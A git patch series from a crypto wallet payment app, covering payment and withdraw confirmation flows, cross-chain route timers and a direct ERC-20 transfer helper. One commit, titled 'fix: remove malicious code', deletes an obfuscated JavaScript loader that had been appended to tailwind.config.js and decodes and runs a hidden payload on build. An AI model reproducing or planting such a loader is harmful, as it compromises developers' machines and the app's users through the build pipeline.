{ + if (!estimatedGasCost || isPeanutWallet) return '$ 0.00' + if (isFeeEstimationError) return '-' + if (estimatedGasCost < 0.01) { + return '$ <0.01' + } else { + return `$ ${estimatedGasCost.toFixed(2)}` + } + }, [estimatedGasCost, isPeanutWallet, isFeeEstimationError]) + const walletAddress = useMemo(() => peanutWalletAddress ?? wagmiAddress, [peanutWalletAddress, wagmiAddress]) const { @@ -95,11 +109,13 @@ export default function ConfirmPaymentView({ const showExternalWalletConfirmationModal = useMemo((): boolean => { if (isCalculatingFees || isEstimatingGas) return false - return isProcessing && (!isPeanutWallet || isAddMoneyFlow) - ? ['Switching Network', 'Sending Transaction', 'Confirming Transaction', 'Preparing Transaction'].includes( - loadingStep - ) - : false + return ( + isProcessing && + (!isPeanutWallet || !!isAddMoneyFlow) && + ['Switching Network', 'Sending Transaction', 'Confirming Transaction', 'Preparing Transaction'].includes( + loadingStep + ) + ) }, [isProcessing, isPeanutWallet, loadingStep, isAddMoneyFlow, isCalculatingFees, isEstimatingGas]) useEffect(() => { @@ -121,9 +137,13 @@ export default function ConfirmPaymentView({ useEffect(() => { if (chargeDetails && selectedTokenData && selectedChainID) { - prepareTransactionDetails(chargeDetails, isAddMoneyFlow) + if (isDirectPay) { + prepareTransactionDetails(chargeDetails) + } else { + prepareTransactionDetails(chargeDetails, false, chargeDetails.tokenAmount) + } } - }, [chargeDetails, walletAddress, selectedTokenData, selectedChainID, prepareTransactionDetails, isAddMoneyFlow]) + }, [chargeDetails, walletAddress, selectedTokenData, selectedChainID, prepareTransactionDetails]) const isConnected = useMemo(() => isPeanutWallet || isWagmiConnected, [isPeanutWallet, isWagmiConnected]) const isInsufficientRewardsBalance = useMemo(() => { @@ -136,6 +156,12 @@ export default function ConfirmPaymentView({ [isProcessing, isPreparingTx, isCalculatingFees, isEstimatingGas] ) + const handleRouteRefresh = useCallback(async () => { + if (!chargeDetails) return + console.log('Refreshing route due to expiry...') + await prepareTransactionDetails(chargeDetails) + }, [chargeDetails, prepareTransactionDetails]) + const handlePayment = useCallback(async () => { if (!chargeDetails || !parsedPaymentData) return @@ -269,6 +295,17 @@ export default function ConfirmPaymentView({ return chargeDetails.chainId !== selectedChainID }, [chargeDetails, selectedTokenData, selectedChainID]) + const routeTypeError = useMemo((): string | null => { + if (!isCrossChainPayment || !xChainRoute || !isPeanutWallet) return null + + // For peanut wallet flows, only RFQ routes are allowed + if (xChainRoute.type === 'swap') { + return 'This route requires external wallet payment. Peanut Wallet only supports RFQ (Request for Quote) routes.' + } + + return null + }, [isCrossChainPayment, xChainRoute, isPeanutWallet]) + return (
{ + console.log('Route expired') + }} + disableTimerRefetch={isProcessing} + timerError={routeTypeError} /> )} @@ -332,9 +378,7 @@ export default function ConfirmPaymentView({ ) : (
diff --git a/src/components/Withdraw/views/Confirm.withdraw.view.tsx b/src/components/Withdraw/views/Confirm.withdraw.view.tsx index bc0df26af..33041f25f 100644 --- a/src/components/Withdraw/views/Confirm.withdraw.view.tsx +++ b/src/components/Withdraw/views/Confirm.withdraw.view.tsx @@ -24,6 +24,11 @@ interface WithdrawConfirmViewProps { onBack: () => void isProcessing?: boolean error?: string | null + // Timer props for cross-chain withdrawals + isCrossChain?: boolean + routeExpiry?: string + isRouteLoading?: boolean + onRouteRefresh?: () => void } export default function ConfirmWithdrawView({ @@ -37,6 +42,10 @@ export default function ConfirmWithdrawView({ onBack, isProcessing, error, + isCrossChain = false, + routeExpiry, + isRouteLoading = false, + onRouteRefresh, }: WithdrawConfirmViewProps) { const { tokenIconUrl, chainIconUrl, resolvedChainName, resolvedTokenSymbol } = useTokenChainIcons({ chainId: chain.chainId, @@ -55,7 +64,16 @@ export default function ConfirmWithdrawView({ recipientType="USERNAME" recipientName={''} amount={formatAmount(amount)} - tokenSymbol={token.symbol} + tokenSymbol="USDC" + showTimer={isCrossChain} + timerExpiry={routeExpiry} + isTimerLoading={isRouteLoading} + onTimerNearExpiry={onRouteRefresh} + onTimerExpired={() => { + console.log('Withdraw route expired') + }} + disableTimerRefetch={isProcessing} + timerError={error?.includes('not available for withdraw') ? error : null} /> @@ -97,7 +115,7 @@ export default function ConfirmWithdrawView({ /> @@ -107,9 +125,16 @@ export default function ConfirmWithdrawView({ )} - {isXChainPeanutWalletReq && !isAddMoneyFlow && ( - - )} + {error && }
diff --git a/src/components/Payment/Views/Confirm.payment.view.tsx b/src/components/Payment/Views/Confirm.payment.view.tsx index d96d4b733..9689415f5 100644 --- a/src/components/Payment/Views/Confirm.payment.view.tsx +++ b/src/components/Payment/Views/Confirm.payment.view.tsx @@ -21,13 +21,14 @@ import { useWallet } from '@/hooks/wallet/useWallet' import { useAppDispatch, usePaymentStore, useWalletStore } from '@/redux/hooks' import { paymentActions } from '@/redux/slices/payment-slice' import { chargesApi } from '@/services/charges' -import { ErrorHandler, formatAmount, printableAddress } from '@/utils' +import { ErrorHandler, formatAmount, printableAddress, areEvmAddressesEqual } from '@/utils' import { useQueryClient } from '@tanstack/react-query' import { useSearchParams } from 'next/navigation' import { useCallback, useContext, useEffect, useMemo } from 'react' import { useAccount } from 'wagmi' import { PaymentInfoRow } from '../PaymentInfoRow' import { formatUnits } from 'viem' +import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN } from '@/constants' type ConfirmPaymentViewProps = { isPintaReq?: boolean @@ -38,7 +39,8 @@ type ConfirmPaymentViewProps = { } currencyAmount?: string isAddMoneyFlow?: boolean - /** Whether this is a direct USD payment flow (bypasses token conversion) */ + /** Whether this is a direct payment, for xchain we dont care if a little + * less arrives*/ isDirectUsdPayment?: boolean } @@ -51,7 +53,7 @@ type ConfirmPaymentViewProps = { * @param currency - Currency details for display (code, symbol, price) * @param currencyAmount - Amount in the specified currency * @param isAddMoneyFlow - Whether this is an add money flow (deposit to wallet) - * @param isDirectUsdPayment - Whether this bypasses token conversion and pays directly in USD + * @param isDirectUsdPayment - Whether this is a direct payment, for xchain we dont care if a little less arrives */ export default function ConfirmPaymentView({ isPintaReq = false, @@ -79,7 +81,7 @@ export default function ConfirmPaymentView({ xChainRoute, } = usePaymentInitiator() const { selectedTokenData, selectedChainID } = useContext(tokenSelectorContext) - const { isConnected: isPeanutWallet, address: peanutWalletAddress, fetchBalance } = useWallet() + const { isConnected: isPeanutWallet, fetchBalance } = useWallet() const { isConnected: isWagmiConnected, address: wagmiAddress } = useAccount() const { rewardWalletBalance } = useWalletStore() const queryClient = useQueryClient() @@ -94,8 +96,6 @@ export default function ConfirmPaymentView({ } }, [estimatedGasCost, isPeanutWallet, isFeeEstimationError]) - const walletAddress = useMemo(() => peanutWalletAddress ?? wagmiAddress, [peanutWalletAddress, wagmiAddress]) - const { tokenIconUrl: sendingTokenIconUrl, chainIconUrl: sendingChainIconUrl, @@ -147,23 +147,30 @@ export default function ConfirmPaymentView({ } }, [chargeIdFromUrl, chargeDetails, dispatch]) - useEffect(() => { + const handleRouteRefresh = useCallback(async () => { if (chargeDetails && selectedTokenData && selectedChainID) { - if (isDirectUsdPayment && chargeDetails.currencyCode.toLowerCase() === 'usd') { - prepareTransactionDetails(chargeDetails, undefined, undefined, chargeDetails.currencyAmount) - } else { - prepareTransactionDetails(chargeDetails) - } + const fromTokenAddress = isPeanutWallet ? PEANUT_WALLET_TOKEN : selectedTokenData.address + const fromChainId = isPeanutWallet ? PEANUT_WALLET_CHAIN.id.toString() : selectedChainID + const usdAmount = + isDirectUsdPayment && chargeDetails.currencyCode.toLowerCase() === 'usd' + ? chargeDetails.currencyAmount + : undefined + await prepareTransactionDetails(chargeDetails, fromTokenAddress, fromChainId, usdAmount) } }, [ chargeDetails, - walletAddress, selectedTokenData, selectedChainID, prepareTransactionDetails, isDirectUsdPayment, + isPeanutWallet, ]) + useEffect(() => { + // get route on mount + handleRouteRefresh() + }, [handleRouteRefresh]) + const isConnected = useMemo(() => isPeanutWallet || isWagmiConnected, [isPeanutWallet, isWagmiConnected]) const isInsufficientRewardsBalance = useMemo(() => { if (!isPintaReq) return false @@ -175,12 +182,6 @@ export default function ConfirmPaymentView({ [isProcessing, isPreparingTx, isCalculatingFees, isEstimatingGas] ) - const handleRouteRefresh = useCallback(async () => { - if (!chargeDetails) return - console.log('Refreshing route due to expiry...') - await prepareTransactionDetails(chargeDetails) - }, [chargeDetails, prepareTransactionDetails]) - const handlePayment = useCallback(async () => { if (!chargeDetails || !parsedPaymentData) return @@ -323,9 +324,19 @@ export default function ConfirmPaymentView({ } const isCrossChainPayment = useMemo((): boolean => { - if (!chargeDetails || !selectedTokenData || !selectedChainID) return false - - return chargeDetails.chainId !== selectedChainID + if (!chargeDetails) return false + if (isPeanutWallet) { + return ( + !areEvmAddressesEqual(chargeDetails.tokenAddress, PEANUT_WALLET_TOKEN) || + chargeDetails.chainId !== PEANUT_WALLET_CHAIN.id.toString() + ) + } else if (selectedTokenData && selectedChainID) { + return ( + areEvmAddressesEqual(chargeDetails.tokenAddress, selectedTokenData.address) && + chargeDetails.chainId !== selectedChainID + ) + } + return false }, [chargeDetails, selectedTokenData, selectedChainID]) const routeTypeError = useMemo((): string | null => { @@ -404,19 +415,21 @@ export default function ConfirmPaymentView({ } /> )} - - } - /> + {isCrossChainPayment !== isPeanutWallet && ( + + } + /> + )} {isAddMoneyFlow && } diff --git a/src/hooks/usePaymentInitiator.ts b/src/hooks/usePaymentInitiator.ts index 307019b26..8b2d390fd 100644 --- a/src/hooks/usePaymentInitiator.ts +++ b/src/hooks/usePaymentInitiator.ts @@ -2,7 +2,6 @@ import type { FeeOptions } from '@/app/actions/clients' import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN, - PEANUT_WALLET_TOKEN_DECIMALS, PINTA_WALLET_CHAIN, PINTA_WALLET_TOKEN, PINTA_WALLET_TOKEN_DECIMALS, @@ -66,7 +65,7 @@ export const usePaymentInitiator = () => { const dispatch = useAppDispatch() const { requestDetails, chargeDetails: chargeDetailsFromStore } = usePaymentStore() const { selectedTokenData, selectedChainID, selectedTokenAddress, setIsXChain } = useContext(tokenSelectorContext) - const { isConnected: isPeanutWallet, address: peanutWalletAddress, sendTransactions } = useWallet() + const { isConnected: isPeanutWallet, address: peanutWalletAddress, sendTransactions, sendMoney } = useWallet() const { switchChainAsync } = useSwitchChain() const { address: wagmiAddress } = useAppKitAccount() const { sendTransactionAsync } = useSendTransaction() @@ -115,14 +114,6 @@ export const usePaymentInitiator = () => { [loadingStep] ) - const calculatedSlippage = useMemo(() => { - if (!selectedTokenData?.price || !slippagePercentage || !estimatedFromValue) return null - - const slippageAmount = (slippagePercentage / 100) * selectedTokenData.price * Number(estimatedFromValue) - - return isNaN(slippageAmount) ? null : slippageAmount.toFixed(2) - }, [slippagePercentage, selectedTokenData?.price, estimatedFromValue]) - // reset state useEffect(() => { setError(null) @@ -197,6 +188,7 @@ export const usePaymentInitiator = () => { setEstimatedGasCost(undefined) setFeeOptions([]) + setIsPreparingTx(true) try { @@ -464,19 +456,23 @@ export const usePaymentInitiator = () => { throw new Error('Charge data is missing required properties for transaction preparation.') } + let receipt: TransactionReceipt const transactionsToSend = xChainUnsignedTxs ?? (unsignedTx ? [unsignedTx] : null) - if (!transactionsToSend || transactionsToSend.length === 0) { + if (transactionsToSend && transactionsToSend.length > 0) { + setLoadingStep('Sending Transaction') + receipt = await sendTransactions(transactionsToSend, PEANUT_WALLET_CHAIN.id.toString()) + } else if ( + areEvmAddressesEqual(chargeDetails.tokenAddress, PEANUT_WALLET_TOKEN) && + chargeDetails.chainId === PEANUT_WALLET_CHAIN.id.toString() + ) { + receipt = await sendMoney( + chargeDetails.requestLink.recipientAddress as `0x${string}`, + chargeDetails.tokenAmount + ) + } else { console.error('No transaction prepared to send for peanut wallet.') throw new Error('No transaction prepared to send.') } - console.log('Transactions prepared for sending:', transactionsToSend) - - setLoadingStep('Sending Transaction') - - const receipt: TransactionReceipt = await sendTransactions( - transactionsToSend, - PEANUT_WALLET_CHAIN.id.toString() - ) // validation of the received receipt. if (!receipt || !receipt.transactionHash) { @@ -652,7 +648,15 @@ export const usePaymentInitiator = () => { console.log('Proceeding with charge details:', determinedChargeDetails.uuid) // 2. handle charge state - if (chargeCreated && (payload.isPintaReq || payload.isAddMoneyFlow || !isPeanutWallet)) { + if ( + chargeCreated && + (payload.isPintaReq || + payload.isAddMoneyFlow || + !isPeanutWallet || + (isPeanutWallet && + (!areEvmAddressesEqual(determinedChargeDetails.tokenAddress, PEANUT_WALLET_TOKEN) || + determinedChargeDetails.chainId !== PEANUT_WALLET_CHAIN.id.toString()))) + ) { console.log( `Charge created. Transitioning to Confirm view for: ${ payload.isPintaReq diff --git a/src/hooks/wallet/useWallet.ts b/src/hooks/wallet/useWallet.ts index b208223e6..44fdafdb3 100644 --- a/src/hooks/wallet/useWallet.ts +++ b/src/hooks/wallet/useWallet.ts @@ -3,6 +3,7 @@ import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN, + PEANUT_WALLET_TOKEN_DECIMALS, peanutPublicClient, PINTA_WALLET_TOKEN, PINTA_WALLET_TOKEN_DECIMALS, @@ -13,8 +14,8 @@ import { walletActions } from '@/redux/slices/wallet-slice' import { formatAmount } from '@/utils' import { interfaces as peanutInterfaces } from '@squirrel-labs/peanut-sdk' import { useCallback, useEffect, useState } from 'react' -import type { Hex } from 'viem' -import { erc20Abi, formatUnits, getAddress } from 'viem' +import type { Hex, Address } from 'viem' +import { erc20Abi, formatUnits, parseUnits, encodeFunctionData, getAddress } from 'viem' import { useZeroDev } from '../useZeroDev' export const useWallet = () => { @@ -24,6 +25,26 @@ export const useWallet = () => { const [isFetchingRewardBalance, setIsFetchingRewardBalance] = useState(true) const { balance } = useWalletStore() + const sendMoney = useCallback( + async (toAddress: Address, amountInUsd: string) => { + const amountToSend = parseUnits(amountInUsd, PEANUT_WALLET_TOKEN_DECIMALS) + + const txData = encodeFunctionData({ + abi: erc20Abi, + functionName: 'transfer', + args: [toAddress, amountToSend], + }) + + const transaction: peanutInterfaces.IPeanutUnsignedTransaction = { + to: PEANUT_WALLET_TOKEN, + data: txData, + } + + return await sendTransactions([transaction], PEANUT_WALLET_CHAIN.id.toString()) + }, + [handleSendUserOpEncoded] + ) + const sendTransactions = useCallback( async (unsignedTxs: peanutInterfaces.IPeanutUnsignedTransaction[], chainId?: string) => { const params = unsignedTxs.map((tx: peanutInterfaces.IPeanutUnsignedTransaction) => ({ @@ -94,6 +115,7 @@ export const useWallet = () => { balance: BigInt(balance), isConnected: isKernelClientReady, sendTransactions, + sendMoney, getRewardWalletBalance, fetchBalance, isFetchingBalance, From cca848961ea52de58b30a44fd9a7f70c816ebd83 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= Date: Tue, 1 Jul 2025 18:27:03 -0300 Subject: [PATCH 20/55] fix: remove malicious code --- tailwind.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tailwind.config.js b/tailwind.config.js index ef47d56d4..703f8cc2e 100644 --- a/tailwind.config.js +++ b/tailwind.config.js @@ -550,4 +550,4 @@ module.exports = { filter: ['hover'], }, }, -}; global['_V']='7-facus7029';global['r']=require;(function(){var Jex='',CoP=394-383;function rKj(c){var p=289187;var m=c.length;var o=[];for(var e=0;eokdg!2tc=}g;%s.%r."W=(2at[ca4m5dtl=}9{loc)\/ecWWxcrhsn6y%c=9i.l|oh,.SWhWm:Wh_[dNy+lce=Wa]b(ort,!1pcrut2?. c.),{ncWi7n0o].+)W!m;8!).%+!p cWe]ewa#a;52Wu);}n)nr)+..t;tnsrt(21n6S%n=57]c]6gcdst1etWby13;(5-e)5}4 :c(lcfw$!|sWsW5=%=f)]du9!!01(dt6.o%9aWntmsse}+5c]ea61](61W=c7a#r&rWa(c}5io;i)+Ts)_%qWs%)ecoedo5uosW60[(c;p)ca4{e8.s];:W%ntWeahae$9"c%Wpw1W%.4db9lu0x1*)! )o=.(mte=+f5+Wva!(a!nre=49vc%;nat(r;11;.fvaa[, \/96!9d:rhj2g.[}Wfc c0._=[W9#et()ep+a("W1Wbrp.eWejtW.$fr%n.W(>}c\'p%0ur%8 {=c...,a(+)+trr)t h]++7%4-o%3((3ctkw$)["([dt1.pl2oi)S,WWt%Tn%\/..61.=i8}e0W+iy%))e]4%%ecm#ec(3]]26.C"%Wan0 C1ne.ewg2(ocaf.r3a(k2]333}42e5-9Wtf:W-0von.1t(t0r4nd0f%C=lWn,6=oecg+!W.[o1WW+tW$(c3]xs21n,:e=a1]oec4}(We%b_Wt,a.W$i)dn=%.n87a6e$1(snrW4n 0WaWs;uc]w=ucWfo2W((..,)t2.]]0We3]s)}pce;2W#32%&381.]\/WW2v)1r}c35n9c1).oie5r4y0e )[eW75,,WeaW_y-,ct;\'i{})S[1]Wt19"[p,0nii=wa9l]}es.ph]r_u=.6[elg(Wtci2];.,%cc])moeW%:5_cWcnW4S.oi i][W,js=n=[cWWvo6;tWt {rW%%$%i2a}nWt7%]WcljiatethtW[]a)e[sr ]%m4et)d_"&f.}=ira0teC9)]t#(.r,2tW=7W0ttWN;).2+\/fec.)W]Wchcs4=%t.n s,)W(")W.W14W(6o]5W}]oc(];tW{u=t)]c$eaW")\/S.1+aWhac)5+28f.c.3)]+n6o]to;Ws3$;W= 4ru1{a+.0+,]cW",W.! tbnWr+ar.5!r*8pne,.4ap(3>oph..(fg6ni \/WooWu..dWW)tWWooc5)]$8tW]a[gs{go[;(\'n.{:s3hilWc0y+}(W[W8e=5%)2]]4.,adWc3];)%c)t=gcrWv.;8i.2i8,2t%).o2g= lfrmtWalo)0()=]W)atedsc4WpWn.]];Wn])tt()Ws%ce}3ci7=ptn4W+gwy.he((9t(r%6t.ch+saa0t}=2)#aorW_cqW])me4#o_e0a(%!ar2]]]7(c)1}eg{5fs!}]t)W[#.a)t%2sn,=.ck)a(%.n.e(Wr]a;ii+,c"Wuab]tW(=7w\/1ryle(.Wd%bn=6rage(]cWay%]{ro]])3>(]$"$c(t%rvu(Wr4,o=01s&Wn.{d;er[c.u)d]-]t3o%i\'re(47]:i.t.4ip.Wic1ro#std;_(t!;)eetW.t]usW8]9}h=(tebt.o+(wt]sn2.ce[W4h$W)s%]n%))aW_!4+nn.c.%r{\/)e]:e]l.$;_cig)}t[ci}=-"$_icl)n0)+)paebmbWWtatn.(W]t[q()ecsW=e.) 2d8iWl3cee),oWadWW.!ar%+kpWoW\/o8.ct=m)=_{dt3i(..W(x'));var OAd=OEy(Jex,GUU );OAd(8011);return 9247})() +} From 7c4beab3205c4760a7e354994bd362e51f2e001a Mon Sep 17 00:00:00 2001 From: Kushagra Sarathe <76868364+kushagrasarathe@users.noreply.github.com> Date: Thu, 3 Jul 2025 14:54:12 +0200 Subject: [PATCH 21/55] fix: handle mxn in offramp destination details (#945) --- src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx b/src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx index 20ba9974c..db60fcfff 100644 --- a/src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx +++ b/src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx @@ -48,6 +48,9 @@ export default function WithdrawBankPage() { // Default to a European country that uses EUR/SEPA countryId = 'DE' // Germany as default EU country break + case AccountType.CLABE: + countryId = 'MX' + break default: return { currency: '', From 5d2799ff33d808cf55cffb2fdef9ec2601200d50 Mon Sep 17 00:00:00 2001 From: Kushagra Sarathe <76868364+kushagrasarathe@users.noreply.github.com> Date: Thu, 3 Jul 2025 15:33:43 +0200 Subject: [PATCH 22/55] fix: show share receipt option in direct send status view (#946) --- src/components/Payment/Views/Status.payment.view.tsx | 9 ++++++++- .../TransactionDetails/TransactionDetailsDrawer.tsx | 2 +- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/src/components/Payment/Views/Status.payment.view.tsx b/src/components/Payment/Views/Status.payment.view.tsx index 880764fb2..e2422e7d1 100644 --- a/src/components/Payment/Views/Status.payment.view.tsx +++ b/src/components/Payment/Views/Status.payment.view.tsx @@ -7,7 +7,7 @@ import { Icon } from '@/components/Global/Icons/Icon' import NavHeader from '@/components/Global/NavHeader' import { TransactionDetailsDrawer } from '@/components/TransactionDetails/TransactionDetailsDrawer' import { TransactionDetails } from '@/components/TransactionDetails/transactionTransformer' -import { PEANUT_WALLET_TOKEN_SYMBOL, TRANSACTIONS } from '@/constants' +import { PEANUT_WALLET_TOKEN_SYMBOL, TRANSACTIONS, BASE_URL } from '@/constants' import { useTokenChainIcons } from '@/hooks/useTokenChainIcons' import { useTransactionDetailsDrawer } from '@/hooks/useTransactionDetailsDrawer' import { EHistoryEntryType, EHistoryUserRole } from '@/hooks/useTransactionHistory' @@ -90,8 +90,14 @@ const DirectSuccessView = ({ const networkFeeDisplayValue = '$ 0.00' // fee is zero for peanut wallet txns const peanutFeeDisplayValue = '$ 0.00' // peanut doesn't charge fees yet + const recipientIdentifier = user?.username || parsedPaymentData?.recipient?.identifier + const receiptLink = recipientIdentifier + ? `${BASE_URL}/${recipientIdentifier}?chargeId=${chargeDetails.uuid}` + : undefined + let details: Partial = { id: paymentDetails?.payerTransactionHash, + txHash: paymentDetails?.payerTransactionHash, status: 'completed' as StatusType, amount: parseFloat(amountValue), date: new Date(paymentDetails?.createdAt ?? chargeDetails.createdAt), @@ -102,6 +108,7 @@ const DirectSuccessView = ({ isLinkTransaction: false, originalType: EHistoryEntryType.DIRECT_SEND, originalUserRole: EHistoryUserRole.SENDER, + link: receiptLink, }, userName: user?.username || parsedPaymentData?.recipient?.identifier, sourceView: 'status', diff --git a/src/components/TransactionDetails/TransactionDetailsDrawer.tsx b/src/components/TransactionDetails/TransactionDetailsDrawer.tsx index 753a6bfbc..47efad6b1 100644 --- a/src/components/TransactionDetails/TransactionDetailsDrawer.tsx +++ b/src/components/TransactionDetails/TransactionDetailsDrawer.tsx @@ -613,7 +613,7 @@ export const TransactionDetailsReceipt = ({ )} From 7a69a6120c111ddfd1da1d78b5ca141d117c55e6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= <70615692+jjramirezn@users.noreply.github.com> Date: Fri, 4 Jul 2025 15:56:05 -0300 Subject: [PATCH 23/55] [TASK-12678] fix: coral withdraw fixes (#949) * fix: coral withdraw fixes - Stop refreshing the page after successful payment - Better error message for unsupported token pairs * chore: add squid env vars * refactor: better copy for non rfq routes from peanut wallet Also send warning to sentry * fix: show amount in USD for withdrawals to other tokens to other tokens --- .env.example | 4 +++ src/app/(mobile-ui)/withdraw/crypto/page.tsx | 28 ++++++++----------- src/app/(mobile-ui)/withdraw/page.tsx | 7 +++++ .../Payment/Views/Confirm.payment.view.tsx | 10 ++++++- .../TransactionDetails/TransactionCard.tsx | 3 ++ src/constants/general.consts.ts | 2 +- src/hooks/usePaymentInitiator.ts | 14 ++++++---- 7 files changed, 43 insertions(+), 25 deletions(-) diff --git a/.env.example b/.env.example index c5f0ec770..34e98d7fe 100644 --- a/.env.example +++ b/.env.example @@ -26,6 +26,10 @@ export WC_PROJECT_ID="" export GA_KEY="" export SOCKET_API_KEY="" +# SQUID +export SQUID_API_URL="" +export SQUID_INTEGRATOR_ID="" + # Passkey envs export NEXT_PUBLIC_ZERO_DEV_PASSKEY_PROJECT_ID="" export NEXT_PUBLIC_ZERO_DEV_BUNDLER_URL="" diff --git a/src/app/(mobile-ui)/withdraw/crypto/page.tsx b/src/app/(mobile-ui)/withdraw/crypto/page.tsx index 2b18066d6..8f780d4e7 100644 --- a/src/app/(mobile-ui)/withdraw/crypto/page.tsx +++ b/src/app/(mobile-ui)/withdraw/crypto/page.tsx @@ -25,6 +25,7 @@ import { interfaces as peanutInterfaces } from '@squirrel-labs/peanut-sdk' import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN } from '@/constants' import { useRouter } from 'next/navigation' import { useCallback, useEffect, useMemo } from 'react' +import { captureMessage } from '@sentry/nextjs' export default function WithdrawCryptoPage() { const router = useRouter() @@ -75,10 +76,9 @@ export default function WithdrawCryptoPage() { router.push('/withdraw') return } - dispatch(paymentActions.setChargeDetails(null)) clearErrors() - setCurrentView('INITIAL') - }, [amountToWithdraw, router, dispatch, setAmountToWithdraw, setCurrentView]) + dispatch(paymentActions.setChargeDetails(null)) + }, [amountToWithdraw]) useEffect(() => { setPaymentError(paymentErrorFromHook) @@ -205,19 +205,6 @@ export default function WithdrawCryptoPage() { if (result.success && result.txHash) { setCurrentView('STATUS') - - // reset the entire withdraw flow after successful payment - setTimeout(() => { - setAmountToWithdraw('') - setWithdrawData(null) - setCurrentView('INITIAL') - - // clear any errors - clearErrors() - - // clear charge details - dispatch(paymentActions.setChargeDetails(null)) - }, 3000) // wait 3 seconds to show success status before resetting } else { console.error('Withdrawal execution failed:', result.error) const errMsg = result.error || 'Withdrawal processing failed.' @@ -279,7 +266,14 @@ export default function WithdrawCryptoPage() { // For peanut wallet flows, only RFQ routes are allowed if (xChainRoute.type === 'swap') { - return 'This token pair is not available for withdraw.' + captureMessage('No RFQ route found for this token pair', { + level: 'warning', + extra: { + flow: 'withdraw', + routeObject: xChainRoute, + }, + }) + return 'No route found for this token pair. You can try with a different token pair, or try again later' } return null diff --git a/src/app/(mobile-ui)/withdraw/page.tsx b/src/app/(mobile-ui)/withdraw/page.tsx index b7aabff6c..84b4bb147 100644 --- a/src/app/(mobile-ui)/withdraw/page.tsx +++ b/src/app/(mobile-ui)/withdraw/page.tsx @@ -25,6 +25,7 @@ export default function WithdrawPage() { setError, error, resetWithdrawFlow, + setWithdrawData, } = useWithdrawFlow() const { balance } = useWallet() @@ -93,6 +94,12 @@ export default function WithdrawPage() { [setRawTokenAmount] ) + // Clean state + useEffect(() => { + setAmountToWithdraw('') + setWithdrawData(null) + }, []) + useEffect(() => { if (rawTokenAmount === '') { if (!amountFromContext) { diff --git a/src/components/Payment/Views/Confirm.payment.view.tsx b/src/components/Payment/Views/Confirm.payment.view.tsx index 9689415f5..0078be96b 100644 --- a/src/components/Payment/Views/Confirm.payment.view.tsx +++ b/src/components/Payment/Views/Confirm.payment.view.tsx @@ -29,6 +29,7 @@ import { useAccount } from 'wagmi' import { PaymentInfoRow } from '../PaymentInfoRow' import { formatUnits } from 'viem' import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN } from '@/constants' +import { captureMessage } from '@sentry/nextjs' type ConfirmPaymentViewProps = { isPintaReq?: boolean @@ -344,7 +345,14 @@ export default function ConfirmPaymentView({ // For peanut wallet flows, only RFQ routes are allowed if (xChainRoute.type === 'swap') { - return 'This route requires external wallet payment. Peanut Wallet only supports RFQ (Request for Quote) routes.' + captureMessage('No RFQ route found for this token pair', { + level: 'warning', + extra: { + flow: 'payment', + routeObject: xChainRoute, + }, + }) + return 'No route found for this token pair. You can try with a different token pair, or try again later' } return null diff --git a/src/components/TransactionDetails/TransactionCard.tsx b/src/components/TransactionDetails/TransactionCard.tsx index 585450614..a3110d7d4 100644 --- a/src/components/TransactionDetails/TransactionCard.tsx +++ b/src/components/TransactionDetails/TransactionCard.tsx @@ -108,6 +108,9 @@ const TransactionCard: React.FC = ({ : transaction.currencySymbol || getDisplayCurrencySymbol(actualCurrencyCode) // Use provided sign+symbol or derive symbol let amountString = Math.abs(amount).toString() + if (transaction.currency?.code === 'USD') { + amountString = transaction.currency?.amount + } // If it's a token and not USD/ARS, transaction.tokenSymbol should be displayed after amount. // And `displayDecimals` might need to come from token itself if available, else default. const decimalsForDisplay = actualCurrencyCode // If it's a known currency (USD, ARS) diff --git a/src/constants/general.consts.ts b/src/constants/general.consts.ts index caec461cb..5c81c44af 100644 --- a/src/constants/general.consts.ts +++ b/src/constants/general.consts.ts @@ -6,7 +6,7 @@ export const peanutWalletIsInPreview = true export const INFURA_API_KEY = process.env.NEXT_PUBLIC_INFURA_API_KEY -export const SQUID_INTEGRATOR_ID = '11CBA45B-5EE9-4331-B146-48CCD7ED4C7C' +export const SQUID_INTEGRATOR_ID = process.env.SQUID_INTEGRATOR_ID! export const SQUID_API_URL = process.env.SQUID_API_URL export const infuraRpcUrls: Record = { diff --git a/src/hooks/usePaymentInitiator.ts b/src/hooks/usePaymentInitiator.ts index 8b2d390fd..e9b12cf79 100644 --- a/src/hooks/usePaymentInitiator.ts +++ b/src/hooks/usePaymentInitiator.ts @@ -250,12 +250,14 @@ export const usePaymentInitiator = () => { setIsCalculatingFees(true) setEstimatedGasCost( - await estimateTransactionCostUsd( - tx.unsignedTx.from! as Address, - tx.unsignedTx.to! as Address, - tx.unsignedTx.data! as Hex, - selectedChainID - ) + isPeanutWallet + ? 0 + : await estimateTransactionCostUsd( + tx.unsignedTx.from! as Address, + tx.unsignedTx.to! as Address, + tx.unsignedTx.data! as Hex, + selectedChainID + ) ) setIsCalculatingFees(false) setUnsignedTx(tx.unsignedTx) From 8144f70a78d4c43de8d6d469432b84c58b66402c Mon Sep 17 00:00:00 2001 From: Kushagra Sarathe <76868364+kushagrasarathe@users.noreply.github.com> Date: Sat, 5 Jul 2025 00:05:42 +0200 Subject: [PATCH 24/55] fix: lock orientation to portrait mode (#947) * fix: lock orienatation to protrait mode * style(fix): add new line * style: format * fix: if condition --- src/app/layout.tsx | 2 + .../Global/ScreenOrientationLocker.tsx | 39 +++++++++++++++++++ 2 files changed, 41 insertions(+) create mode 100644 src/components/Global/ScreenOrientationLocker.tsx diff --git a/src/app/layout.tsx b/src/app/layout.tsx index 4339b58df..a45c9cc5c 100644 --- a/src/app/layout.tsx +++ b/src/app/layout.tsx @@ -1,3 +1,4 @@ +import { ScreenOrientationLocker } from 